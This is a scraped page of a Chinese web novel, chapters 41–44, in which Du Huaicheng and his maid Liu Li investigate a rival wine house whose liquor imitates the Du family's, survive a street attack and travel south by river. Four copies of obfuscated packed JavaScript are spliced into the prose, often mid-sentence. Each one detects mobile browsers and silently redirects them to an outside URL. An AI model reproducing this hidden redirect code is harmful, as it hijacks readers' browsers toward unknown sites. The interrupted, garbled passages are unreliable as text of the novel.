杜淮琤回头，脸色沉下来。徽吉杜家酒庄的老掌柜迎上来，俯首道：“二爷，对面的陆字号酒庄前些日子刚开业，送信的人才遣往白水，没想到您就来徽吉了。” “进去说。” 从二楼的窗户向外望去，刚好看到陆家的门楼。店内客来客往，生意很是兴隆。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021166|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“讲。”只吐出一字。 “这陆家似乎是一夜之间冒出来的，老朽在这行干了几十年，从未听过这家名号。据说不仅在徽吉，其他几处埠头也有陆家分号。” “可也是这样与杜家门对门？”杜二爷的语气听不出喜怒。 “正、正是！”老掌柜暗暗惊叹，惊于东家的敏锐度。他是杜家的老人了，杜淮琤单打独斗扩张杜家酒事他是亲身经历过的，对这位年轻的家主充满了钦佩。 短时间在杜家酒舍附近开起同样的酒舍，绝不是偶然。对方目的很明确，就是针对杜家而来，而且……能有如此财力人脉，其实力不可小觑。 “陆家所售何酒？” “陆记只卖一种名为‘玉壶春’的酒，价格奇高，但仍有不少客人趋之若鹜。咱们一些老客也被撬过去不少。” “玉壶春？此酒味道如何？” “这……”老掌柜一时词穷。 “怎么？难道你还没尝过那玉壶春？”男人眉头锁在一起。 “没，属下疏忽。” “商场如战场，知己知彼，方能百战不殆。老掌柜这点道理岂能不懂？” “属下失职，请东家责罚！”老掌柜边说边跪下去，身边几位随侍也一并跪了个满地。 那俯首在地的苍苍白发落在刘梨眼里甚为刺眼。即使明白等级严明的当下，传统的尊卑观念早就深入人心习以为常，真的亲眼见到了，心里还是不忍。 “二爷。”清越的声音不期然响起。杜淮琤看向刘梨，她不是没眼色的人，眼下这场合，她开口令他有些意外。 “二爷，陆家既敢在对门开店，是存了心和咱们搭台打擂，想必对杜家酒舍上下都是打探过的，轻易上门怕是会打草惊蛇。不如……奴婢是生面孔，那边必不识得我，就让奴婢去陆家‘请’坛玉壶春回来，替东家跑趟腿。” 杜淮琤嘴角噙上一抹笑，这丫头肯动心思的时候也能口齿伶俐么，寥寥几句，话里话外有帮老掌柜求情的意思。这古道热肠，以后怕是要吃亏的。 “好，既然梨丫头有这心意，就由你跑这趟腿吧。你们也起来，我杜淮琤还不是个暴戾的主子。” 刘梨就要退下，又被叫住，眼前一花，一件物事正好落入怀里，正是杜二爷腰上的钱囊。 刘梨掂掂沉甸甸的钱袋子，脸上笑出了花，转身往楼下跑去。杜淮琤一个眼风，程锏便悄无声息地跟了上去。 41. 四十一 渊鱼丛雀 刘梨长了个心眼，从酒舍后门绕到街口。街边不少卖小玩意儿的摊子，她故意在街头流连一会才泰然自若地进了陆家酒楼。 面阔三间的气派门楼，楼上应是雅间，看不真招；楼下沿墙垒了一溜的酒坛，直延伸到后门，后头应该也有个不小的院子，只听人声嚷嚷一直传到前厅来；一楼沿窗还设了桌椅，已过了饭点，这会竟仍座无虚席。酒楼里一派迎来送往的忙碌景象，所以一个小丫头的到来并没引起多少注意。刘梨稳稳心神，往柜台走去。 “掌柜的，挑你们这儿最好的酒，给我来两瓶。” 掌柜头也不抬，说道：“不卖。” “不卖？为什么啊？”刘梨傻了眼，这满堂的酒都是摆设吗，凭什么不卖给我？ 掌柜从账本里抬眼看向来人，“哟，还是个俊俏丫头！姑娘要买酒还是去别家吧，咱这儿的酒不适合你。” “什么叫不适合？我的钱难倒不是钱？”怀里揣着杜淮琤的钱囊，沉甸甸的。她没打开数过，凭手感就知道不少。 掌柜的倒是通晓和气生财，笑道：“姑娘稍安勿躁。小店的规矩，三坛酒起卖。咱们用的是五升坛，每坛差不多十斤酒，五两一坛，就是说至少得十五两才能在小店谈成买卖。” 十五两？够买我一回还有余了，刘梨暗想。 “掌柜，您看能不能通融通融？我是买回去孝敬爹爹的，您就卖我一坛，让奴家表表孝心可好？”刘梨哀求道。 “哎哟姑娘，小店的规矩，老朽也无能为力。你到别处买去吧。”掌柜挥挥手，做出送客的架势。 看掌柜强硬的态度，知道他是不会让步了。周围渐渐有人观望来，刘梨不想引起太大阵仗，从锦囊里摸出十五两的银锭，“三坛就三坛吧，挑好的给我带走。” “都是好的，都是好的，咱们陆家的玉壶春酒名满天下，别处可喝不到。”掌柜的抱出三坛酒，“哎哟，这酒加坛子三四十斤呢，姑娘你一个人怎么拿？” 刘梨抱一坛在怀里，右手拎起一坛，心想先带两坛回去吧，还有一坛回头来取。 这时，楼梯那儿噔噔噔走下一个小伙计，俯在掌柜耳边嘀咕了什么。掌柜眼睛往楼上抬了抬，迅速朝刘梨唤道：“姑娘留步！” 刘梨吃力地返身，“还有什么事？” 掌柜的冲伙计斥道：“没眼力见的，还不帮小姐把酒送到府上去。”那伙计是个机灵的，抢过刘梨手上的酒坛又拎上另一个，“请问小姐府上何处？小的给您送家去。”说完也不等刘梨回复，直接往门外走。 刘梨拦他不住，抱着一坛酒追出门外去。 刚到店外，就见街尾乌泱泱来了一群人。最前头一人身穿缟素，后面跟着的不知是同伴还是看热闹的，聚在一起直把整条街都堵住，眼瞅着往这边来。 “你们这些吃人不吐骨头的奸商，勾结官府，侵占吞并，让我们这些小民如何活得下去？奸商！狗官！”叫骂声不绝于耳，又吸引了不少人围观。一身缟素的中年男人，手执白幡，上书“官商勾结，欺压百姓”八个血色大字，言辞凄厉，听者无不动容。 转眼来到近前，男人站定，望着杜家匾额仰天长啸，突然从袖底掏出一团不知什么秽物，用力投掷在杜家匾额上，黑色的污物像血一样溅了满地，围观者起哄起来。杜家的伙计像是齐齐受了指令，关上大门不做反应，男人继续大骂道：“你们这些奸商，仗着家大业大，勾结官府提高青苗税，欺压我们这样的小户酿酒舍，妄图吞并我们。七里乡那边多少小作坊着了道，落得关门倒闭、妻离子散的下场。呸！老子反正没了活路，今天舍命跟你们拼了，黄泉路上也拉两个垫背的！”说罢扔下幡，竟从怀里抽出一柄匕首，转身直冲陆家酒舍奔来。 挥刀划伤近前两人，刚才还起哄看热闹的人群被突发的变故吓得四下逃逸，场面一时大乱。刘梨被男人的绝望和悲愤震慑，抱着酒坛怔在原地。好像有人在喊快跑，双腿却不听使唤。缟白的男人越来越近，像慢镜头一样，刘梨能清晰看到他狰狞扭曲的脸。 电光火石间，男子脚下突然一个磕绊，直挺挺跪在阶下，匕首也飞出去，正落在刘梨脚下。 “快走！” 一个黑影揽住她，不待反应，人已被抱起塞进了马车。马车穿过人流，与闻讯而来的官差错身而过，径直出了城。 “你在干什么？！刚才那样惊险的情况不知道躲闪吗！”杜淮琤怒吼道。那个闹事的男人已是癫狂状态，如果不是他和程锏及时赶到，不知道那人会对她做什么——他想都不敢往下想。 把她按在怀里，两颗心都是慌乱的。那狰狞的面孔仿佛还在面前，刘梨缩在杜淮琤胸口，身体止不住地轻颤。车帘上光影转换，马蹄阵阵仿佛是这世界里的唯一声响。 二人许久才稍稍平复下来，两颗心也找回了正常频率。刘梨察觉到还倚在杜淮琤怀里，忙要推开他坐正，却被杜淮琤搂得更紧。 “我还以为，我还以为。”他喃喃道。 她看不见他的脸，不敢动，也不敢出声。 他的腮滚热，贴着她微凉的脸庞……吻忽然就落了下来。 从眼睑，到面颊，终于覆在一直渴望的唇上。 无需口脂渲染，她的唇果然绵软香甜。如初尝花蜜的蜂蝶，杜淮琤沉溺在她的芬芳间，辗转厮磨不舍离去。心底阴暗的念头从未对谁展露，这样的场景他不止一次幻想过。直到真正吻上她的唇，才知道自己的心竟会颤动如此，仿佛要卑微到尘埃之中。 刘梨脑中一片空白。她觉得应该马上推开他，可是身体已化成了一滩水。杜淮琤的吻炽热如火，然而在火热中她竟体味到一丝悲凉，这不像是出自杜淮琤的吻，他向来专横跋扈，这个吻却那么温柔缱绻，含着的仿佛是颗露珠， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021167|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着虔诚与悲悯，让刘梨觉得她就是世上独一无二的珍宝。 凭借最后一点理智，杜淮琤放开刘梨，他甚至不敢更深入地探入她的芳泽。凝视刚刚还被自己采撷的樱唇，杜淮琤的心仿佛被踏成一团。那一刻他以为差点要失去她，所有豁达的伪装顷刻颠覆，他才意识到对这个女人情根竟深种至此。他嫉妒伍子骥，嫉妒得发疯，残存的理智提醒他她要的自己给不了。他拥有的好像很多，却是连自己的命运也主宰不了，更罔顾她呢？所有无可奈何的愤懑与不满只有深藏心底，严严实实地在她面前筑起一座堡垒，为她抵挡所有烦扰——包括自己。 刘梨背对他，强命自己冷静下来。今天的变故太多，刚刚死里逃生，又……若是以前，她大可理直气壮地骂回去，可杜淮琤偏偏是救下她的恩人。嘴上似乎还留有炽热的余温，她想抬手去擦，怕动作太过刻意，硬生生把手又放了回去。 “这是你带回的酒？”杜淮琤找回寻常的声音。 “是。”刘梨找出钱袋，偏着身子放在他面前。“五两一坛，三坛起卖，花了十五两，原还有两坛店伙计替我拿着，可是丢了。”她倒还记得报账。 “丢就丢了，人没事就好。” 车内又恢复了平静，只有外面车驾的声响。 “那个人……他说的都是真的吗？”那个被逼疯的男人。 杜淮琤不想欺瞒她，“生意场是残酷的，弱肉强食再正常不过。” “你，真做过那样的事？”刘梨忍不住望向他。 该死！她的眼神能不能不要这样？充盈着委屈和控诉，杜淮琤叹口气道：“梨儿，商场浮沉多年，我不能说没使用过一些手段。但是刚才那人真与我无关。杜家根基在白水，历代都在西岭酿酒，山中窖藏陈酿，不需要侵吞别人的酿酒舍；青苗税已经让我焦头烂额，怎会是我和官府勾结提高税费？”杜淮琤毫不避讳道。 “可刚才那人怎么办？” “上位者不端，渊鱼丛雀，民生艰难。他只是一条小虾，经营不善，早晚会被其它鱼儿吃掉。这是自古以来的定律。” 刘梨明白，她对杜淮琤的控诉实在无道理。弱肉强食，物竞天择，这是在任何社会都存在的现象。大庥朝不是超于世外的桃花源，自己现下还只能依附于人，她的力量实不足以保护任何人。 “别乱想了，徽吉的摊子自有人收拾，我们继续南下。”想到又要回船上去，刘梨立时头大起来。杜淮琤看她一脸苦相，柔声道：“后面的航程要平稳许多，晕船反应该是会和缓不少。我还准备了些蜜饯鲜果，不受用的时候含一些，会舒服一点。” “多谢二爷。” 又是一时无话，车里气氛又尴尬下来。杜淮琤捡起钱囊无意识地把玩，幸好程锏在外出声道：“二爷，到码头了。” “嗯，吩咐上下，打点起精神，随爷往金陵去。” 42. 四十二 水点桃花 江上漕舫内，黝黑的酒坛摆在桌子正中，杜淮琤拍开封口，捧起坛子先闻了闻，又取长柄杓挹出一勺酒，迎着光看了看成色。 “漉酒巾。” 刘梨立刻拿出坠着金铃的漉酒巾罩在敞口酒盂上，在西岭时做惯了的，二人配合很默契。 酒水徐徐滤过漉酒巾，酒液注入下面的酒盂中，醇厚的酒香顿时在船舱弥漫开来。清亮的黄绿色，仿佛纯净的橄榄石落入盂中。白地子上两枝水点桃花，虬枝盘曲，艳丽的花瓣映着玉白瓷身显得分外娇艳，酒色恰似春风，带来浓浓春意——“玉壶春”的立意不言而喻。 杜淮琤细细摩挲手里的酒杯，吩咐道：“梨丫头，替我再取一盏酒杯、一只水盂，再倒一大杯清水，温的。” 刘梨将他吩咐的东西准备妥当，呈在杜淮琤面前。男人用温水漱过口，先端起酒杯凑到鼻尖细细闻了闻，随后抿下一口玉壶春含在嘴里，须臾才缓缓咽下。他深吸一口气，嘴唇并不张开，鼻腔慢慢呼气，反复多次，体味酒在口腔和鼻腔滞留，引发味觉与嗅觉的微妙变化。 程锏和刘梨在一旁看着，大气不敢出。 “二爷，如何？”程锏看他脸色不虞，先发问。 “再取两只杯子，你们也尝尝。” 刘梨依言为两人各注上一杯酒，她是不喝酒的，实在被勾起了好奇，浅浅抿了一口。口腔里好像燃起一簇火焰，在舌尖生起微微的灼热感。咽下后这灼热感一路延伸，一直蔓到腹部。 “梨丫头感觉如何？” 刘梨砸吧砸吧嘴，“舌头好像大了，上颚麻麻的。”杜淮琤轻笑，刘梨又不好意思道，“我不会喝酒，刚开始入口就是辣，辣得直冲脑门，那股劲过去后就尝出点苦味，又有一丝丝咸、一丝丝甜，最后还有点豆子的香味儿。” 杜淮琤双手击掌，“还说不会喝酒，酒之五味一下就品出了四味，假以时日梨丫头定成品酒大家。”刘梨被他说得不好意思，脸上泛起红晕，不知是羞的还是酒意上头闹的。 杜淮琤又转向程锏：“你的意见呢？” 程锏瞪圆了眼，“二爷，这酒、这酒和咱们的‘上品白猿’如此相像！难道……” “呵”，杜淮琤将杯中酒一饮而尽，笑道：“你尝出来了？程锏，咱们今天的收获可不小，值得痛饮庆祝一番。” 刘梨在一旁听得云里雾里，“什么‘上品白猿’？什么收获不小？我不明白你们在说什么。”脑袋又有点晕，晕船还没好么？ “再好的船也免不了有烂钉。”杜淮琤冷哼。 “二爷的意思，是内贼？”程锏眯起眼，迟疑道。 “酒水酿制传承千年，大江南北各家有各家的风味，这横空出世的陆家酒，味道竟与‘上品白猿’如此相似，让人不得不生疑。” 程锏眉头紧锁，“‘上品白猿’是杜家独有配方，从不外传。如此，怕是有人坏了规矩！” “会不会是巧合？”刘梨小心问道，“就像有人吃过的菜就能依着味道仿做一样？” “酒曲不同，酿造原料不同，乃至陈酿窖藏的环境不同，都会造成酒味的差别。杜家为了不破坏一方风物，严令禁止西岭山砍伐毁林，对水源也是小心保护，杜绝环境差异造成的影响。出酒后送去岩洞窖藏，还要挑选时日，算好时辰。即便这样，每每出酒仍有优劣区别，‘玉壶春’能七八分像‘上品白猿’，说是巧合实难令人信服。”杜淮琤道。 “如今，二爷打算作何处置？”程锏忍不住问。 “以静制动，先不要打草惊蛇，待处理好金陵的事，再来清理清理这些个烂钉子！”脸上虽是带着笑，可明显感受到男人周身散发的阴冷。杜家的荣耀安危是他不可侵犯的领域，他就是盘在杜家门前的椒图，守护着这个家族，一旦发觉危险临近，便会亮出獠牙，毫不吝惜地将敌人撕碎。 “不说这些了，让厨房做些时令的船菜，五两一坛的酒可别浪费了。” “其实算十五两，还丢了两坛。”想到这儿刘梨止不住的心疼，又咕囔了一句，“我卖到杜家才十二两。” 屋里另二人耳力极好，程锏只作不知退下去布置酒菜，杜淮琤低垂眉眼，不知在想什么。 刘梨不察，继续道：“陆家酒舍规矩忒怪，五两一坛的酒还非得三坛起卖，也就您这样的财主舍得。酒价这般高，怕是不会长久。” “那倒未必。酒价高、规矩大刚好满足部分富人的猎奇心理。再加上世人多虚荣膨胀，易有攀比之心，‘玉壶春’正好满足了这些人的需要。” “倘若新鲜感过了，岂不是门庭冷落无人问津？”刘梨发问。 “所以酒的品质一定要好。起先酒客会因为新鲜买来品尝，一旦喝出这酒的好来，便养成了依赖。何况……”他又抿了一口，“何况，这酒价并不算得贵。” “五两一坛还不贵？大庥还有比这更贵的酒？”刘梨惊道。 这回接话的是刚进门的程锏，“小丫鬟不知道，杜府‘上品白猿’，垆川‘凤雅香’，怀仁‘玉冰烧’，嵩丘‘静潭醇’，还有湘南‘桑落酒’，都是重金难得、人间少有的佳酿。”说起好酒，程锏难得话多。“陆家半路杀出，在众多酿酒世家中分得一杯羹，这位陆东家也是个厉害角色。” “所以他选择了最肥的一杯羹。低价酒虽然购买量大，但是利润也低。陆家剑走偏锋，只做富人生意，得到的回报也是相当丰厚的。” “这个我懂，世上十之八成的财富掌握在十之二成的贵人手中，从二成的贵人身上谋利，可抵八成庶民之利。” “呵呵，梨丫头好辩才，不失为经商的一把好手。冲这，杜二今天得干了这坛酒！”说罢举杯一饮而尽。 他一通夸奖让刘梨倍感不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021168|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自在，讪讪道：“二爷莫贪杯，待用些饭食再饮。”话里带着关切，杜淮琤听了嘴角抑不住地上扬。眼睛瞄上她的唇，又慌忙撇开。 “今日行程匆忙，不少事未及处理，下个码头你再随我上岸。”刘梨本能地抗拒，马车里的情形浮现眼前，那时候劫后余生，心神大起大落导致杜淮琤行为失态，若是二人再独处，她不知该怎么面对他。 杜淮琤看她面色，补充道：“今日我们声势太大，恐引有心人戒备。下次同我乔装一番再探对方虚实。你是姑娘家，行动有时比男人便利。”刘梨看他面目清朗言辞恳切，不由点了点头。 隔日船队停在浅湾处，天色未亮，只见一艘小艇似乎载着两人一马送至岸边，一上岸便匆匆离去，船队继续前行。 为了不惹人注目，杜淮琤提前靠岸，由程锏在船队留守，自己轻装上阵只带刘梨随同，约好在下个码头与船队汇合。 刘梨此刻无比想念那头灰驴，杜淮琤的宝马神驹颠得她快要散架，那滋味比晕船好不了多少。坐在杜淮琤身后，大声抗议道：“让它跑慢点，我快被甩下去了！” 风呼呼刮过，杜淮琤声音里带着亢奋，“慢不了，进城还有程子路呢，你怕摔就把我搂紧咯！”感受到腰间的手暗暗使劲，嘴角咧开一个更大的笑容。 刘梨气他没个正型，手上使了坏想捏他一把，偏这人皮糙肉厚，竟似铁打的身子一般。 “抱紧咯！”攥着她的手臂环住自己，马儿一个冲刺，感受到身后柔软的贴近，杜淮琤益发觉得自己决策英明。 刘梨羞恼不已，偏在马上动弹不得。天光大亮赶到城下，双腿已下不得马来。 杜淮琤牵着缰绳，“既下不来就安心坐着，二爷替你牵马。”他今日穿了一身布衣，连马辔头都比平日简朴，像个中等人家少爷。 “东家给奴牵马，刘梨逾矩了。” “事有权宜，算不得逾矩。这又不是府里，爷都不在意，偏你那么多话。”刘梨浑身不自在，刚动了动腿想下马杜淮琤便靠上来，“你再动，惹得旁人注意可就坏了我的事了。”他的身子碰到她小腿，本就麻木的腿一僵，不敢再动作。 二人顺利入了城，果然在城里见到了门对门的杜、陆两家酒舍。此城不及徽吉繁华，饶是如此陆家酒舍里也被占了不少席位。他们坐了角落的一张桌子，依旧按规矩叫了三坛酒。因前番闹事刘梨难免神经紧张，杜淮琤边吃边留意周边动静，还要兼顾对街杜家酒舍的情况，也是吃得食不知味。 对付完一顿，将酒坛缚在马前准备出城。“不去‘那边’看看？”刘梨眼神示意对面的杜家招幌。 杜淮琤摇了摇头。 杜淮琤先上马，向刘梨伸出一只手来。此刻不是挣拧的时候，刘梨伸出手，两手交握，借力上了马。二人共骑出了城，未注意到楼上一双眼将他们送出很远。 43. 四十三 野渡横舟 此地水乡泽国，水脉纵横，出城十里被一河拦住了路。沿河寻过去，至一处渡口，远远地顺着水面飘来歌声： 大河九曲十八道弯弯， 浪戏波翻三百六十五层层， 游列国，熬时光， 孔夫子也老垂垂。 穿一袭烂皮袄， 吼一曲没来由， 人心从来没个够。 二哥哥让人卖到金陵城里头， 贫哥哥拉不住妹妹的手， 浇块磊也没钱买浊酒， 把住大河的壶口喝了个够。 少年人喝成糟老叟， 拍马扬鞭随着大河走， 这一走，从此后， 就再也没回头……① 歌声凄凄，不由听入了神。河面划来一舟，舟上蓑翁撑篙，慢慢将船靠了岸。 转过脸来，才发觉不是老翁，竟是个紫赯脸的婶子。 “二位可是要渡河？” 杜淮琤作了一揖，上前道：“正是，劳烦船家将我们渡到对岸去。” “两人共六文钱，马贵些，七文。”价钱合理，杜淮琤掏出碎银递上。船家点好钱，从船头的竹篓里数出几枚找回去。杜淮琤眉毛跳了跳，不作声把钱接过。 人马上船安置好，不大的船顿时再也站不下别人。竹篙轻点，欸乃一声离岸。 “船家这趟只载了我们二人，着实不划算。”杜淮琤朝着船头背影道。 “船满了就启程，多少年都是这么来的。”摆渡人点着篙，身体下沉，所有的力气都压在篙上，整个人形成扭曲的折角。 “婶子一直在河上摆渡吗？” “是，快三十年了。”妇人话不多，问什么只简短答上一二。 一个女人家独自撑船度日，定有隐情。人世间三苦，撑船打铁磨豆腐，她一干就是三十年，背后艰辛常人难以想象。 “船家刚才唱的曲儿有点意思，在下走南闯北竟是第一次听到。” “我自己胡咧咧唱的，乡野小调污了两位耳朵，客官见笑了。”她手下动作不停，说到曲子的时候略有赧意。 “不不不，唱得真好，‘浇块磊也没钱买浊酒，把住大河的壶口喝了个够’，其情豪迈，令人动容。”刘梨由衷叹道，“后面的故事呢？二哥哥和妹妹有没有再相聚？” 婶子半晌不语，几乎以为她不再开口了，却听她又道：“后面没了，他们有三十年没再见过。” 刘梨和杜淮琤相视不语，心里大概猜出了七七八八。刘梨低头沉思一番，忽而抬头望向杜淮琤，眼睛里盈满期待。 杜淮琤被她盯着先是神思游离了一瞬，待反应过来，压下那点自作多情的窃喜，又不免嫌她多事。两人打了会眉眼官司，一字未说，却都明白各自意思。 “呵，到底是少年人，郎情妾意眉目传情，小两口感情真好。”摆渡人笑道。 “婶子误会了。” “是很好。” 二人异口同声抢在一处，杜淮琤警告地睨了一眼刘梨。念及此次是乔装出行，刘梨把辩解的话咽了回去。 “小娘子莫害羞，婶子也是打年轻过来的。你瞧小官人一上船就拿衣裳给你垫着坐，还护你坐在船里侧，着实是个体贴的郎君呢。”被她这么一讲，刘梨才后知后觉到，不免感激地看了一眼杜淮琤，那小子一脸“你才知道”的神情，脸上带了得色，看船家益发和善可亲起来。刚才他多给了银钱，换在别处则当是赏钱了，这位船家硬是给找零回来，品性纯良，是个朴实敦厚的人，顺嘴就道：“我们是往金陵去的客商，婶子若是想找什么人或带什么话，或许在下可以帮忙。” “对啊对啊，我们这位爷有点能力，婶子若有想帮忙的，我二人定当相助。” 这小渡口难得有外来的客，女人眼睛亮了一下，很快又黯淡下去，轻摇头道：“不找了，等了三十年，什么都不一样了。”面容凄凄，叫人不忍，“谢过二位”。 “或许那人身不由己，有不得已的隐情？三十年都耗得起，再试一回又何妨？”刘梨劝道。 静水无波，狭长的扁舟穿梭在山水间，天光水色连成一片，实景和倒影勾连起两个不同的世界，似外物和心境的投射。 船上很长时间无话，竹篙点在水面的痕迹，像缝补破碎时光的针脚，那些逝去的或期待或苦涩的年华，没有被缝合，只是被久远的过往掩盖了。 “总是年轻才有这样的底气，总觉得时间不算什么，耗费得起。老妇人不行了，哪天跟这竹篙似的，说断就断，不中用了。” “我瞧婶子康健的很，便是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021169|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再活三十年也不在话下。” 摆渡人闻言笑开了怀，皴裂的脸上一口白牙，心道这样的苦还要再受三十年，她是不愿蹉跎的。面上仍是谢了姑娘的美意，到底没再多话。 船行靠岸，渡头已有乡民等着过河，“黄六娘，劳烦带我们渡河。”她笑着应了，只说等船上的客人先下。 杜淮琤牵马下船，乡民们没见过这样的好牲口，围着啧啧称赞。刘梨自己跳下船，回头又看了眼摆渡人。她撑着篙，身形有些佝偻，竹笠下的眉目被岁月侵蚀仍不失往昔秀丽模样，比常人更是多了几分坚毅隐忍。乡民们陆续上船，各自往竹篓里丢几枚铜钱。她也不数，待大家坐定，竹篙轻点，正要往河对岸划去。 “船家稍待”，杜淮琤喊住她，迅速从马上卸下两坛酒，踩着水跑到船边，“我二人赶路，带着这坛中物实在不便，不若送给船家，正好拿它酒浇块垒，希望婶子莫要推辞。” “无功不受禄，二位已给了船钱，老妇我不能再收您的馈赠。”杜淮琤已退到岸上，拱手道：“就当是听曲的钱，在别处可听不到这么好的曲儿。何况这两坛算不上好酒，我二人此次仓促而来，下回如有缘相见，再给婶子尝尝我家自酿的好酒。” 刘梨立在平沙上目送良久，杜淮琤看船走远了，催道：“走吧。”她点头跟上，还是忍不住道：“就这么留有遗憾吗？人生一世长如客，就此错过多可惜？” “人生事本就难顺遂，她含辛茹苦三十载，可能早就不再抱有别念。你又何必给她希望，徒增烦恼。”两人不急着上马，一前一后顺着径陌而行。已至深秋，林叶堪比春红，浓的淡的金黄，在入冬前进行最后的喧嚣。 “既是希望，就是还有可能，哪怕晚了三十年，也好过终生留憾。” “这世上人，哪个不是心上无痕？”他回头深看了刘梨一眼，“即使我这样的身家势力，也有遗憾缺失。” 她见他目光灼灼，紧赶两步跑到前面去。“是我贪心了，人生无常，求不得圆满。还是二爷通透。丫鬟我不敢奢望，这辈子只求平安康健，知足常乐好了。” 杜淮琤苦笑，摇摇头牵着马跟上去。身后又有歌声飘渺而来： 眇眇天涯君去时，浮云流水自相随。 人生一世长如客，何必今朝是别离。② 44. 四十四 三江渔歌 刘梨倚着阑干望向涛涛江水出神，江流卷着无数个浪花向船身涌来，看久了目眩眼花，悻悻缩回头去。这一路行来，她晕船的毛病倒是好了不少，真应了白郎那句“吐啊吐就习惯了”。 杜淮琤展开一张羊皮地图，看江河两岸奇峰迤逦、水道蜿蜒，山峦次第退去，江风拂面，不由得心情大好。照现在的船速，不消两日便能到达瓜洲地界。 江上隐约渔歌，悠然舒展，大略听得词曰：“……大江潮水起浪花，渔民最爱唱渔歌，鱼名编作曲来唱，自古流传在三江，大江潮水深又深，龙王点将在龙宫，虾兵虾将硬壳窜，刺鲂藤牌做头阵；大江潮水浪滔滔，乌龟背脊八卦书，龙虾威武当元帅，奇门遁甲做军师……”①杜淮琤唤来江老大，问道：“那渔人唱的什么？”“禀二爷，渔人唱的是《三江渔歌》。此地乃三江汇集处，这些人世代居于此打渔为生，江上生活苦闷，不知哪朝哪代起有人根据江河里鱼虾的习性编了这么一首曲儿，土腔土调，唱起来倒也别有趣味。”杜淮琤微微点了点头，又听那渔人唱到：“上汝一杯酒，令汝寿万春。”伴随歌声，一小船靠上他们的漕舫。程锏抚上腰间，被杜淮琤按下。 小船上一面醒目的“酒”字旗，船家站在船头朝漕舫上喊道：“各位爷可要尝尝小老儿自家酿的酒？我家酒可是三江上最好的！”江老大抚须笑道：“二爷，这可是关公面前耍大刀来了，咱船上随便拿壶酒都够这小老儿下不来台的。”杜淮琤也带了笑，左右无聊，嘱咐江老大道：“不如将那船家请上船来，保不齐他还真有个拿得出手的玉液金波。” 不会儿就将人领进了舱，这老儿见了杜家的阵势，倒先不好意思起来，摘下斗笠，看着自己的草鞋和舱里的团花瑞兽地毯，脚踅摸着不知往何处落。 刘梨忙领船家入座，那老儿咧着嘴笑道：“小老儿还是站着回话好了，没的脏了老爷的凳子。” “可有带酒来？”杜淮琤问道。 “有的有的，咱除了一身打渔的本事，倒还习得一手酿酒技艺，自家酿的米酒在这三江上也是有些名声的。”小老儿说起自己的酒，脸上带了几分得色。 “哦？梨丫头，取一杯来给爷尝尝。” 刘梨闻言，从船家带来的小坛内倒了一杯给杜淮琤。酒入青瓷，浓稠香甜，还有淡淡桂花的清甜味儿。“好酒”，杜淮琤由衷赞叹，“这酒醇美香甜，比往常喝的酒柔和不少。难得江上渔家，也能做出这等佳酿。赏！” 船家谢了赏，笑眯眯道：“白花花的糯米酿出来的，又放了今年新采的桂花，入口绵甜。这酒喝了不上头，就是夫人小姐喝了，也只是脸蛋红扑扑的，更透着招人疼呢。”刘梨听他说话不三不四，借着收拾酒具退到帘后。杜淮琤也没接茬，小老儿知道说错了话，转了话题又道：“其实咱这酒好，还得亏酿酒的水好。附近山上有眼活泉，水质清澈、常年不竭，酿泉为酒，泉香而酒洌。” “哦？真有此等清泉？”杜淮琤对这些酿酒的水源、配料向来上心，听老丈这么说，生出点心思。 “绝无半分假话，小的怎敢欺瞒老爷？您若是不信，可随我上山看看，就在此处不远。” 杜淮琤沉思不语，本是随口一问，并非真的就要去验个真假。只是这些时日顺风顺水，到瓜州比预定的行程早了几日，倒不如随船家走上一遭，一来活动活动腿脚，二来那泉眼若真有什么奇特，也是个机缘。 “好，爷在舱里待得乏了，不如就随你上岸走走。梨丫头，跟我一起看看去，要是这老丈有半分假话，刚才的赏钱全收了！” 船家听了忙把赏的银子往里袖了袖，笑道：“哪能呢，哪能呢……” 两人轻装简从随船家上岸，程锏本要跟着，被杜淮琤安排在船上留守。小舟靠岸，刘梨刚要跳下船，悬空被杜淮琤单手抱住。刘梨突然被搂住，一时羞愤难当，捶着他道：“你做什么？快放我下去！” 